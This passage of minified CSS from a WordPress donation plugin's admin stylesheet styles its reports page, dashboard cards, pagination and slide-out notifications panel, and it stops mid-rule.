.badge.recurring{color:#50a66a}body.charitable_page_charitable-reports .badge.one-time{color:#eaa465}body.charitable_page_charitable-reports .badge.charitable-completed,body.charitable_page_charitable-reports .badge.paid,body.charitable_page_charitable-reports .badge.publish,body.charitable_page_charitable-reports .badge.published{color:#50a66a}body.charitable_page_charitable-reports .badge.cancelled{color:#ce3e4e}body.charitable_page_charitable-reports .badge.draft{color:#ccc}body.charitable_page_charitable-reports .charitable-analytics-container{max-width:790px;margin:30px auto 60px auto;display:table;text-align:center}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-monsterinsights-logo{margin:0 auto}body.charitable_page_charitable-reports .charitable-analytics-container h1{font-weight:600;font-size:28px;line-height:38px;margin-top:20px;color:#444754}body.charitable_page_charitable-reports .charitable-analytics-container h2{font-weight:400;font-size:14px;line-height:22px;margin-top:20px;color:#909299}body.charitable_page_charitable-reports .charitable-analytics-container .vertical-wrapper{margin:0;padding:0;height:100%;width:100%;display:table}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail{margin:60px auto;display:grid;grid-template-columns:repeat(2,1fr);grid-gap:10px;align-content:space-evenly}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail img{max-width:300px}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail ul{padding:0;margin:0;display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .bullets-thumbnail li{text-align:left;min-height:25px;font-size:14px;line-height:21px;color:#474a57;padding-left:25px;margin-bottom:15px;margin-top:0;background:url(../../images/reports/analytics/check.svg) 0 2px no-repeat}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step{margin:20px auto;text-align:left;display:grid;grid-template-columns:1fr 100px;grid-gap:0px;clear:both;max-width:670px;background-color:#fff}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .instructions{padding:25px;float:left}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step{width:100px;background-color:#f7f8fb;text-align:center;float:right}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step .step .step-image{display:table-cell;vertical-align:middle}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step h3{color:#23282d;font-weight:700;font-size:18px;line-height:23px;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step p{padding:0;margin:10px auto;font-weight:200;color:#646970;font-size:16px;line-height:24px}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-reports .charitable-analytics-container .charitable-intergration-steps .charitable-intergration-step a.button-link:hover{background-color:#1e5b38!important;border-color:#1e5b38!important}body.charitable_page_charitable-dashboard .tablenav{font-family:Inter,sans-serif!important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .tablenav .alignleft,body.charitable_page_charitable-dashboard .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-dashboard .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-dashboard .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-dashboard .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px}body.charitable_page_charitable-dashboard .tablenav a.button,body.charitable_page_charitable-dashboard .tablenav input.button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}body.charitable_page_charitable-dashboard .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-dashboard .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button:hover{background-color:#e4e4e7}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-dashboard .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-dashboard .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7;height:38px;padding-top:0;padding-bottom:0;margin-left:4px;margin-right:4px}body.charitable_page_charitable-dashboard .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-dashboard .charitable-section .alignleft,body.charitable_page_charitable-dashboard .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-dashboard .charitable-section-loading{opacity:.25}body.charitable_page_charitable-dashboard h1 .badge{font-size:11px;font-weight:400}body.charitable_page_charitable-dashboard .charitable-container{border-radius:5px;color:#757781;background-color:#fff}body.charitable_page_charitable-dashboard .charitable-container .charitable-toggle-container{display:flex;justify-content:space-between;padding:20px 30px;box-shadow:0 5px 15px rgba(0,0,0,.05);align-items:center}body.charitable_page_charitable-dashboard .charitable-container.charitable-dashboard-notifications .charitable-toggle-container{padding-bottom:10px;padding-left:24px;padding-right:24px}body.charitable_page_charitable-dashboard .charitable-container .the-list{width:100%}body.charitable_page_charitable-dashboard .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-dashboard .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-dashboard .charitable-section-grid{display:grid;grid-template-columns:repeat(2,1fr);grid-gap:20px;margin-bottom:20px}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-dashboard .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:2 200px;column-gap:20px;display:block}body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-dashboard-notifications,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recent-donations-report,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-addons,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-recommended-snippets,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-support,body.charitable_page_charitable-dashboard .charitable-section-flexible .charitable-top-campaigns-report{display:inline-block;margin-bottom:20px;width:100%}body.charitable_page_charitable-dashboard .charitable-cards{display:grid;grid-template-columns:repeat(4,1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{color:#474a57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-dashboard .charitable-report-card .header{margin:0;padding-top:20px;padding-bottom:20px;padding-left:25px;padding-right:25px;border-bottom:1px solid #efeff1}body.charitable_page_charitable-dashboard .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li{color:#474a57;display:flex;border-bottom:1px solid #efeff1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon{width:25px;text-align:center}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img,body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .icon img{margin:5px auto;max-width:25px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .avatar img{width:55px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info{flex-grow:1;margin-left:15px;margin-right:15px;font-size:14px;line-height:23px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p{font-size:14px;line-height:23px;margin:0;font-weight:700}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.name{margin:10px 0 0 0;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8c8e96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8c8e96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8c8e96;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .time-ago{color:#8c8e96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:last-child{border-bottom:0;padding-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:first-child{padding-top:0}body.charitable_page_charitable-dashboard .charitable-report-card .more{margin:30px 25px;display:table;padding:0;text-align:left}body.charitable_page_charitable-dashboard .charitable-report-card .more a{font-weight:600;font-size:14px;line-height:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-report-card .more a img{margin-left:10px;float:right;display:block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards{display:grid;grid-template-columns:repeat(2,1fr);margin-top:0;margin-bottom:0;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card{padding:20px 30px;margin-top:0;margin-bottom:0;position:relative;display:table;clear:both}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h3{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link.charitable-button-link-upgrade{background-color:#f18500}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link:hover{background-color:#43833b!important;border-color:#43833b!important}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done{color:#79ba49}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done:before{content:"\f147";font-family:dashicons;font-size:20px;margin-right:5px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done{color:#5aa152}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done:before{content:"\f464";font-family:dashicons;font-size:20px;margin-right:8px;vertical-align:middle;margin-left:1px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary{font-weight:400;color:#9899a0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p strong{color:#494e5a;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899a0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494e5a;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li{display:flex;border:0;padding-top:5px;padding-bottom:5px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon{margin-right:10px;height:25px;line-height:25px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon img{max-height:25px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a{text-decoration:none;font-weight:600;font-size:14px;line-height:30px;color:#474a57}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul{width:100%;margin:0 auto;padding:0;display:grid;grid-template-columns:repeat(2,1fr);grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li{border:0;padding-top:5px;padding-bottom:5px;padding-left:5px;padding-right:5px;text-align:center;font-weight:400}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a{text-decoration:none;font-size:13px;line-height:17px;color:#474a57;font-family:Inter,sans-serif!important;width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a h4,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a h4{font-weight:600;font-size:18px;line-height:21px;margin-top:5px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li img,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li img{width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a:hover,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .recommended,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .recommended{position:absolute;background-color:green;color:#fff;padding:10px 15px;font-weight:700;text-transform:uppercase}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li{padding-top:0;padding:0}body.charitable_page_charitable-dashboard .charitable-recommended-addons .charitable-toggle-container{padding:26px 26px}body.charitable_page_charitable-dashboard .charitable-title-card-content .button-wrap{margin:20px 0 0 0;display:flex;flex-direction:row;justify-content:space-between}body.charitable_page_charitable-dashboard .progress-bar{height:4px;background-color:#f5f5f5;border-radius:0;border:0}body.charitable_page_charitable-dashboard .progress-bar .progress{height:4px;background-color:#5aa152}body.charitable_page_charitable-dashboard .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-dashboard .badge.completed{color:#50a66a}body.charitable_page_charitable-dashboard .badge.pending{color:#e38632}body.charitable_page_charitable-dashboard .badge.active{color:#50a66a}body.charitable_page_charitable-dashboard .badge.recurring{color:#50a66a}body.charitable_page_charitable-dashboard .badge.one-time{color:#eaa465}body.charitable_page_charitable-dashboard .badge.charitable-completed,body.charitable_page_charitable-dashboard .badge.paid{color:#50a66a}body.charitable_page_charitable-dashboard .badge.cancelled{color:#ce3e4e}body.charitable_page_charitable-dashboard .badge.draft{color:#ccc}body.charitable_page_charitable-dashboard .no-items{text-align:center;font-size:17px;line-height:22px;margin:50px auto}body.charitable_page_charitable-dashboard .no-items strong{font-weight:600}body.charitable_page_charitable-dashboard .no-items p{font-size:17px;line-height:22px;margin:12px auto}body.charitable_page_charitable-dashboard .no-items p.link{font-size:14px;line-height:14px;display:table}body.charitable_page_charitable-dashboard .no-items p.link a{font-weight:600;font-size:14px;line-height:14px;text-decoration:none}body.charitable_page_charitable-dashboard .no-items p.link a img{margin-left:10px;margin-top:-2px;float:right;display:block}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list{width:100%}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items{margin:35px auto 10px auto}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items p.link{text-align:left;margin:0 auto 0 0}nav.charitable-reports-pagination-nav{margin:0 0 9px}nav.charitable-reports-pagination-nav div.total-count{float:left}nav.charitable-reports-pagination-nav ul{float:right;margin:0}nav.charitable-reports-pagination-nav ul li{font-size:13px;line-height:30px;display:inline-block;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#a7aaad!important;border-color:#dcdcde!important;background:#f6f7f7!important;box-shadow:none!important;cursor:default;transform:none!important}nav.charitable-reports-pagination-nav ul li a{display:inline-block;line-height:30px;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#2271b1;border-color:#2271b1;background:#f6f7f7;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}nav.charitable-reports-pagination-nav ul li span{text-align:center;display:inline-block}.charitable-admin-ui.charitable-admin-ui-field.charitable-admin-ui-toggle{margin-top:-8px}.wp-pointer-buttons .charitable-pointer-buttons{display:table;width:100%;margin:0 0 0 auto}.wp-pointer-buttons .charitable-pointer-buttons a.close{margin:4px 0 0 25px}.wp-pointer-buttons .charitable-pointer-buttons a.button.button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-pointer-buttons .charitable-pointer-buttons a.button-visit{float:left}.charitable-disabled{cursor:default;opacity:.5;pointer-events:none}.charitable-headline-reports,.charitable-restricted{position:relative}.restricted-access-overlay{position:absolute;display:flex;justify-content:center;inset:1px;background-color:hsla(0,0%,100%,.35);-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px);z-index:99}body.modal-open{overflow:hidden}.charitable-menu-notification-indicator{margin:6px 0 0;width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite;float:right}[dir=ltr] #toplevel_page_charitable .charitable-menu-notification-indicator{float:right}[dir=rtl] #toplevel_page_charitable .charitable-menu-notification-indicator{float:left}@keyframes wpchar-menu-notification-indicator-pulse{0%{transform:scale(.95);box-shadow:0 0 0 0 rgba(0,0,0,.7)}70%{transform:scale(1);box-shadow:0 0 0 15px transparent}100%{transform:scale(.95);box-shadow:0 0 0 0 transparent}}.charitable-notification{margin-bottom:20px}.charitable-notification:last-child{margin-bottom:0}.charitable-notification>div{display:flex;align-items:flex-start;padding-bottom:10px;border-bottom:1px solid #e8e8eb}.charitable-notification>div:last-child{padding-bottom:0;border-bottom:0;margin-bottom:0}.charitable-notification>div .body{font-size:14px;line-height:22px;flex:1}.charitable-notification>div .body .title{font-size:14px;font-weight:600;color:#141b38;margin-bottom:9px;display:flex;align-items:left;flex-direction:column}.charitable-notification>div .body .title.dashboard-title{flex-direction:row}.charitable-notification>div .body .title div:first-child{flex:1;line-height:22px}[dir=ltr] .charitable-notification>div .body .title div:first-child{margin-right:5px}[dir=rtl] .charitable-notification>div .body .title div:first-child{margin-left:5px}.charitable-notification>div .body .title .date{font-weight:initial;color:#8c8f9a;font-size:12px}.charitable-notification>div .body .notification-content{margin-bottom:12px;max-width:calc(100% - 110px)}.charitable-notification>div .body .notification-content img{max-width:100%}.charitable-notification>div .body .actions{flex-wrap:wrap;display:flex;align-items:baseline}[dir=rtl] .charitable-notification>div .body .actions{flex-direction:row-reverse;justify-content:right}.charitable-notification>div .body .actions>*{margin-bottom:12px}[dir=ltr] .charitable-notification>div .body .actions .charitable-button{margin-right:20px}[dir=rtl] .charitable-notification>div .body .actions .charitable-button{margin-left:20px}.charitable-notification>div .body .actions .dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-notification>div .icon{margin-right:14px}[dir=ltr] .charitable-notification>div .icon{margin-right:14px}[dir=rtl] .charitable-notification>div .icon{margin-left:14px}.charitable-notification>div .icon svg{width:25px;height:25px;color:#00aa63}.charitable-notification>div .icon svg.warning{color:#f18200}.charitable-notification>div .icon svg.info{color:#e38632}.charitable-notification>div .icon svg.success{color:#00aa63}.charitable-notification>div .icon svg.error{color:#df2a4a}.charitable-notification .actions{display:flex;justify-content:left;align-items:center;margin-top:5px}.charitable-notification .actions .dismiss{margin-left:10px;text-decoration:none;font-size:12px;line-height:14px;text-decoration:underline}.charitable-notification .actions .dismiss:hover{color:#8c8f9a}.charitable-notification .charitable-notifications-buttons{display:flex;justify-content:space-between;margin-top:5px}.charitable-notification .button.button-primary{padding:3px 15px!important;border-radius:5px!important;font-size:13px!important;line-height:2.15!important;background-color:#e38632;color:#fff;border-color:#e38632}.charitable-notification .button.button-primary:hover{padding:3px 16px;border-radius:5px;background-color:#e38632;border-color:#e38632;filter:brightness(.9)}.charitable-notification .button.button-secondary{padding:3px 15px!important;border-radius:5px!important;font-size:13px!important;line-height:2.15!important;margin-left:15px;background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}.charitable-notification .button.button-secondary:hover{padding:3px 16px;border-radius:5px;background-color:#f9f9fa;border-color:#e4e4e7;filter:brightness(.9)}.charitable-notification-cards{display:none}.charitable-notification-cards.notification-cards-visible{display:block}.charitable-notification-cards .charitable-notification:last-child>div{border-bottom:none;margin-bottom:none}.charitable-notification-cards .no-notifications{display:flex;align-items:center;flex-direction:column;font-size:14px;line-height:22px;color:#8c8f9a}.charitable-notification-cards .no-notifications img{width:30%;max-width:108px;height:auto}.charitable-notification-cards .no-notifications .great-scott{margin:20px 0 8px;font-size:18px;font-weight:600;color:#434960}.charitable-notification-cards .no-notifications .no-new-notifications{margin-bottom:20px}@media (min-height:500px){.charitable-notification-cards .no-notifications{padding-top:100px}}body.charitable-show-notifications .charitable-main{pointer-events:none;-webkit-user-select:none;user-select:none}.charitable-plugin-notifications{margin-top:32px;position:fixed;top:0;z-index:999992;width:570px;right:-570px;-webkit-transition:right .5s ease-out;-moz-transition:right .5s ease-out;-o-transition:right .5s ease-out;transition:right .5s ease-out}.charitable-plugin-notifications.in{right:0}[dir=rtl] .charitable-plugin-notifications{left:-570px;-webkit-transition:left .5s ease-out;-moz-transition:left .5s ease-out;-o-transition:left .5s ease-out;transition:left .5s ease-out}[dir=rtl] .charitable-plugin-notifications.in{left:0}.charitable-plugin-notifications a.dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-plugin-notifications .charitable-button{border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;text-decoration:none;display:inline-block;cursor:pointer;min-height:30px;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:#fff}.charitable-plugin-notifications .charitable-button.charitable-button-green{background-color:#00aa63}.charitable-plugin-notifications .charitable-button.charitable-button-orange{background-color:#e27730}.charitable-plugin-notifications .notification-menu{display:flex;flex-direction:column;height:calc(100% - var(--wp-admin--admin-bar--height,32px));width:100%;max-width:570px;position:fixed;z-index:1053;top:32px;bottom:0;background-color:#fff;overflow-x:hidden;transition:.5s}.charitable-plugin-notifications .notification-menu .notification-header{height:64px;display:flex;align-items:center;padding:0 20px;color:#fff;background-color:#e38632}.charitable-plugin-notifications .notification-menu .notification-header .new-notifications,.charitable-plugin-notifications .notification-menu .notification-header .old-notifications{font-size:18px;font-weight:600;display:none}.charitable-plugin-notifications .notification-menu .notification-header .notifications-visible{display:block}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{flex:1 1 auto;margin-left:25px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-left:25px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-right:25px}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a{font-size:12px;color:#fff}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a:focus{border:0;box-shadow:none}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close{width:14px;height:14px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close:hover{color:#ccc}.charitable-plugin-notifications .notification-menu .notification-cards{flex:1;padding:24px;overflow:auto}.charitable-plugin-notifications .notification-menu .notification-footer{padding:24px;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination{flex:1;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{font-size:13px;color:#141b38;background:#e8e8eb;height:30px;width:30px;display:flex;align-items:center;justify-content:center;border-radius:2px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number.active,.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:hover{color:#fff;background-color:#e38632}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-right:4px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-right:0}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-left:4px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-left:0}.charitable-plugin-notifications .charitable-notifications-overlay{display:none;position:fixed;z-index:998;top:32px;bottom:0;background-color:#141b38;opacity:.5;transition:.5s;cursor:pointer;right:0;left:160px}[dir=ltr] .charitable-plugin-notifications .charitable-notifications-overlay{right:0;left:160px}[dir=rtl] .charitable-plugin-notifications .charitable-notifications-overlay{left:0;right:160px}.charitable-plugin-notifications .notifications-fade-enter-active,.charitable-plugin-notifications .notifications-fade-leave-active{transition:opacity .5s}.charitable-plugin-notifications .notifications-fade-enter-from,.charitable-plugin-notifications .notifications-fade-leave-to{opacity:0}.charitable-plugin-notifications .notifications-slide-enter-active,.charitable-plugin-notifications .notifications-slide-leave-active{transition:all .5s ease-in-out}.charitable-plugin-notifications [dir=ltr] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=ltr] .notifications-slide-leave-to{right:-570px}.charitable-plugin-notifications [dir=rtl] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=rtl] .notifications-slide-leave-to{left:-570px}@media print{.charitable-plugin-notifications{display:none}}.charitable-dashboard-notifications{background-color:#fff;box-shadow:0 0 30px 